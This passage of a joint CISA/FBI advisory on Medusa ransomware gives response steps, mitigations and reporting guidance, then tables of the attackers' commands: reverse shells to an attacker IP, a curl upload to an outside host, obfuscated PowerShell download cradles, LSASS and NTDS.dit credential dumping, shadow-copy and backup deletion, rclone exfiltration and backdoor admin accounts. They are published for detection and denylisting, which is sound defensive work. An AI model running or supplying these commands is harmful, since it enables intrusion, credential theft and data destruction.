  - b. Remove C2 software—including SimpleHelp, Nezha, Cloudflared, and Ligolo—and lock down access to legitimate company remote access tools, such as ConnectWise ScreenConnect, BeyondTrust (previously Bomgar), RDP, or any other remote access method used by the company.
  - c. Ensure initial intrusion CVE is patched and any persistence on initial access machine is removed (e.g., reverse shells, web portal credentials).
  - d. Use CISA's [Eviction Strategies Tool](#) to assemble countermeasures for a systematic eviction plan—the tool comprises **Playbook-NG** (a web application) and **COUN7ER** (a database of post-compromise countermeasures mapped to adversary TTPs).
    - i. Use Playbook-NG and COUN7ER together to assemble a systematic eviction plan, or playbook, that leverages distinct countermeasures to contain and evict cyber threat actors. The playbook features a list of recommended response actions based on threat actor TTPs and includes each action's intended outcome, preparatory steps, and associated risks. For more information, see CISA's [Eviction Strategies Tool Fact Sheet](#).
- 5. **Harden the network to prevent additional malicious activity** (see **Mitigations** for guidance).

If compromise is detected and items have been encrypted, see the “Ransomware and Data Extortion Response Checklist” in CISA's joint [#StopRansomware Guide](#).

## Mitigations

The authoring agencies recommend organizations implement the mitigations below to improve their cybersecurity posture on the basis of the cyber threat actors' activity. These mitigations align with the [Cross-Sector Cybersecurity Performance Goals \(CPGs\)](#) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA's [CPGs webpage](#) for more information on the CPGs, including additional recommended baseline protections.

Organizations should implement the following mitigations:

- **Implement a recovery plan** to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (e.g., hard drive, storage device, the cloud) [\[CPG 2.A\]](#), [\[CPG 1.C\]](#).
- **Require all accounts** with password logins (e.g., service accounts, admin accounts, and domain admin accounts) to comply with NIST's standards. In particular, require employees to use long passwords and consider not requiring frequently recurring password changes, as these can weaken security [\[CPG 3.B\]](#).
- **Require phishing-resistant multifactor authentication (MFA)** for all services to the extent possible, particularly for webmail, virtual private networks (VPNs), and accounts that access critical systems [\[CPG 3.F\]](#).
- **Keep all operating systems, software, and firmware up to date.** Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Prioritize patching known exploited vulnerabilities in internet-facing systems [\[CPG 2.B\]](#).
- **Segment networks** to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement [\[CPG 3.I\]](#).
- **Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a network monitoring tool.** To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. EDR tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host [\[CPG 4.B\]](#).
- **Require VPNs or jump hosts for remote access.**
- **Monitor for unauthorized scanning and access attempts.**
- **Filter network traffic** by preventing unknown or untrusted origins from accessing remote services on internal systems. This prevents threat actors from directly connecting to remote access services that they have established for persistence.
- **Audit user accounts** with administrative privileges and configure access controls according to the principle of least privilege [\[CPG 3.G\]](#).
- **Review domain controllers, servers, workstations, and active directories** for new and/or unrecognized accounts.
- **Disable command line and scripting activities and permissions.** Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally [\[CPG 3.M\]](#).
- **Disable unused ports.**
- **Maintain offline backups of data, and regularly maintain backup and restoration.** By instituting this practice, the organization helps ensure they will not be severely interrupted and/or only have irretrievable data [\[CPG 3.O\]](#).
- **Ensure all backup data is encrypted, immutable** (i.e., cannot be altered or deleted), and covers the entire organization's data infrastructure.

## Validate Security Controls

In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how your security controls perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see **Table 3** to **Table 12**).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies' performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring agencies recommend continually testing your security program, at scale, in a production environment to help ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

## Resources

- Joint [#StopRansomware Guide](#)
- Joint [Identifying and Mitigating Living Off the Land Techniques](#) Guide
- Joint [Guide to Securing Remote Access Software](#)
- [HHS Cyber Gateway](#)

## Reporting

Your organization has no obligation to respond or provide information back to the FBI in response to this joint advisory. If, after reviewing the information provided, your organization decides to provide information to the FBI, reporting must be consistent with applicable state and federal laws.

The FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.

Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.

The authoring organizations do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to the FBI's [Internet Crime Complaint Center \(IC3\)](#), a [local FBI field office](#), or CISA via the agency's [Incident Reporting System](#) or its 24/7 Operations Center ([contact@cisa.dhs.gov](mailto:contact@cisa.dhs.gov)) or by calling 1-844-Say-CISA (1-844-729-2472).

The authoring organizations urge HPH Sector organizations to report incidents to FBI or CISA. In addition, HPH Sector organizations can contact HHS at [HHScyber@hhs.gov](mailto:HHScyber@hhs.gov) for cyber incident support focused on mitigating adverse patient impacts.

## Disclaimer

The information in this report is being provided “as is” for informational purposes only. CISA and the authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and the authoring agencies.

## Acknowledgements

The Multi-State Information Sharing & Analysis Center (MS-ISAC) and ConnectWise contributed to this advisory.

## Version History

**March 12, 2025:** Initial version.

**August 18, 2026:** Update.

The commands in **Table 13** and **Table 14** demonstrate methods used by Medusa threat actors once they obtain a foothold inside a victim network. Incident responders and threat hunters can use this information to detect malicious activity. System administrators can use this information to design allowlist/denylist policies or other protective mechanisms.

## Medusa Commands

```
mmc.exe compmgmt.msc /computer:{hostname/ip} [T1218.014]
```

## Medusa Commands

```
mstsc.exe /v:{hostname/ip}
```

```
mstsc.exe /v:{hostname/ip} /u:{user} /p:{pass}
```

```
powershell -exec bypass -enc <base64 encrypted command string>
```

```
powershell -nop -c $x = 'D' + 'Own' + 'LOa' + 'Dfl' + 'le'; Invoke-Expression (New-Object
Net.WebClient).$x.Invoke(http://<ip>/<RMM tool>.msi)
```

```
powershell -nop -w hidden -noni -ep bypass &([scriptblock]::create((
New-Object System.IO.StreamReader(
New-Object System.IO.Compression.GzipStream((
New-Object System.IO.MemoryStream([System.Convert]::FromBase64String(
(('<base64 payload string>')-f'<character replacement 0>',
'<character replacement 1>', '<character replacement 2>'))),
[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))
```

```
powershell Remove-Item (Get-PSReadlineOption).HistorySavePath
```

```
powershell Get-ADComputer -Filter * -Property * | Select-Object
Name,OperatingSystem,OperatingSystemVersion,Description,LastLogonDate,
logonCount,whenChanged,whenCreated,ipv4Address | Export-CSV -Path <file path>
-NoTypeInfoInformation -Encoding UTF8
```

```
psexec.exe -accepteula -nobanner -s \\{hostname/ip} "c:\windows\system32\taskkill.exe" /f /im WRSA.exe
```

```
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -c coba.bat
```

```
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -c openrdp.bat
```

```
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -c StopAllProcess.bat
```

```
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -c zam.bat
```

```
psexec.exe -accepteula -nobanner -s \\{hostname/ip} c:\temp\x.bat
```

```
psexec.exe -accepteula -nobanner -s \\{hostname/ip} cmd
```

```
psexec.exe -accepteula -nobanner -s \\{hostname/ip} cmd /c "c:\gaze.exe"
```

## Medusa Commands

```
psexec.exe -accepteula -nobanner -s \\{hostname/ip} cmd /c "copy \\ad02\sysvol\gaze.exe c:\gaze.exe
```

```
psexec.exe -accepteula -nobanner -s \\{hostname/ip} cmd /c "copy \\ad02\sysvol\gaze.exe c:\gaze.exe &&
c:\gaze.exe"
```

```
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -u {user} -p {pass} -c coba.bat
```

```
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -u {user} -p {pass} -c hostname/ipwho.bat
```

```
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -u {user} -p {pass} -c openrdp.bat
```

```
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -u {user} -p {pass} -c zam.bat
```

```
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -u {user} -p {pass} cmd
```

```
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -u {user} -p {pass} -c newuser.bat
```

```
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -c duooff.bat
```

```
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -c hostname/ipwho.bat
```

```
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -c newuser.bat
```

```
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -c removesophos.bat
```

```
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -c start.bat
```

```
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -c uninstallSophos.bat
```

```
nltest /dclist:
```

```
net group "domain admins" /domain [T1069.002]
```

```
net group "Domain Admins" default /add /domain
```

```
net group "Enterprise Admins" default /add /domain
```

```
net group "Remote Desktop Users" default /add /domain
```

```
net group "Group Policy Creator Owners" default /add /domain
```

```
net group "Schema Admins" default /add /domain
```

```
net group "domain users" /domain
```

## Medusa Commands

```
net user default /active:yes /domain
```

```
net user /add default <password> /domain [T1136.002]
```

```
query user [T1033]
```

```
reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0
```

```
Systeminfo
```

```
vssadmin.exe Delete Shadows /all /quiet
```

```
vssadmin.exe resize shadowstorage /for=%s /on=%s /maxsize=unbounded
```

```
del /s /f /q %s*.VHD %s*.bac %s*.bak %s*.wbcat %s*.bkf %sBac kup*. * %sbackup*. * %s*.set %s*.win %s*.dsk
```

```
netsh advfirewall firewall add rule name="rdp" dir=in protocol=tcp localport=3389 action=allow
```

```
netsh advfirewall firewall set rule group="windows management instrumentation (wmi)" new enable=yes
```

```
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
```

*Table 14. Medusa Commands (Updated Aug. 18, 2026)*

## (Updated Aug. 18, 2026) Medusa Commands

```
Invoke-WebRequest http://45.61.150[.]94:8000/storm.exe -Outfile C:\Windows\st.exe
```

```
nltest /domain_trusts
```

```
tasklist | findstr Crow
```

```
tasklist | findstr MsMp
```

```
net user vmadmin <password> /add
```

```
net localgroup administrators vmadmin /add
```

```
net user vmadmin /delete
```

```
C:\Windows\st.exe /S
```

## (Updated Aug. 18, 2026) Medusa Commands

```
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v
LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
```

```
$env:NZ_SERVER="83.138.53[.]139:80";$env:NZ_TLS="false";$env:NZ_CLIENT_SECRET="...";
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Ssl3 -bor
[Net.SecurityProtocolType]::Tls -bor [Net.SecurityProtocolType]::Tls11 -bor
[Net.SecurityProtocolType]::Tls12;set-ExecutionPolicy RemoteSigned;Invoke-WebRequest
https://raw.githubusercontent.com/nezhahq/scripts/main/agent/install.ps1 -OutFile
C:install.ps1;powershell.exe C:install.ps1
```

```
schost.exe -connect 94.156.67[.]145:11601 -ignore-cert
```

```
rclone.exe --config .\conf.txt copy [REDACTED]\data put:[REDACTED]_SQL --ignore-case --ignore-existing --
auto-confirm --multi-threadstreams 10 --transfers 10 --checkers 10 --tpslimit 10 -P -v
```

```
rclone.exe --config c:\conf.txt copy \<victim>file_data mega:corp_data --ignore-existing --auto-confirm --multi-
thread-streams 30 --transfers 30 --checkers 30 --tpslimit 30 --include .docx --include .docm --include .pdf --
include .xls --include .xlsx --include .doc --include .csv --include .txt --include .zip --include .jpeg --include .jpg --
include .rar --include .7z --exclude=AppData/ * --max-size 500M
```

```
%COMSPEC% /Q /c cmd.Exe /Q /c for /f "tokens=1,2 delims= " ^%A in ("tasklist /fi "Imagename eq
lsass.exe" | find "lsass") do rundll32.exe C:\windows\System32\comsvcs.dll, #+0000^24 ^%B
\Windows\Temp\NTP8cp0lu.iso full
```

```
net view \\<local IP address> /all >> share.txt
```

```
dir <datashares directory> -recurse -force | ?{$_.LinkType} | select FullName,LinkType,Target
```

```
nohup python gaze.py &
```

```
./agent -connect <relay server>:443 -ignore-cert
```

```
bash -i >& /dev/tcp/<attacker IP>/4444 0>&1
```

```
bash -i >& /dev/tcp/<attacker IP>/443 0>&1
```

```
Curl -X POST -d @- https://3324.requestcatcher[.]com/hihi
```

```
reg add hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" /d
"Kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0mimilib" /t REG_MULTI_SZ /f
```

## (Updated Aug. 18, 2026) Medusa Commands

```
vssadmin list shadows
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\security security
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system system
vssadmin delete shadows /shadow=[<shadow ID>]
```

```
C:\windows\conhost.exe service install <base64 encoded Cloudflared token>
```

## Notes

---

<sup>1</sup> Microsoft, “Storm-1175 focuses gaze on vulnerable web-facing assets in high-tempo Medusa ransomware operations,” April 6, 2026, [www.microsoft.com/en-us/security/blog/2026/04/06/storm-1175-focuses-gaze-on-vulnerable-web-facing-assets-in-high-tempo-medusa-ransomware-operations/](https://www.microsoft.com/en-us/security/blog/2026/04/06/storm-1175-focuses-gaze-on-vulnerable-web-facing-assets-in-high-tempo-medusa-ransomware-operations/).

<sup>2</sup> Palo Alto Networks – Unit 42, “Medusa Ransomware Turning Your Files into Stone,” January 11, 2024, [unit42.paloaltonetworks.com/medusa-ransomware-escalation-new-leak-site/](https://unit42.paloaltonetworks.com/medusa-ransomware-escalation-new-leak-site/).

<sup>3</sup> Darktrace Blog, “Under Medusa’s Gaze: How Darktrace Uncovers RMM Abuse in Ransomware Campaigns,” January 8, 2026, [www.darktrace.com/blog/under-medusas-gaze-how-darktrace-uncovers-rmm-abuse-in-ransomware-campaigns](https://www.darktrace.com/blog/under-medusas-gaze-how-darktrace-uncovers-rmm-abuse-in-ransomware-campaigns).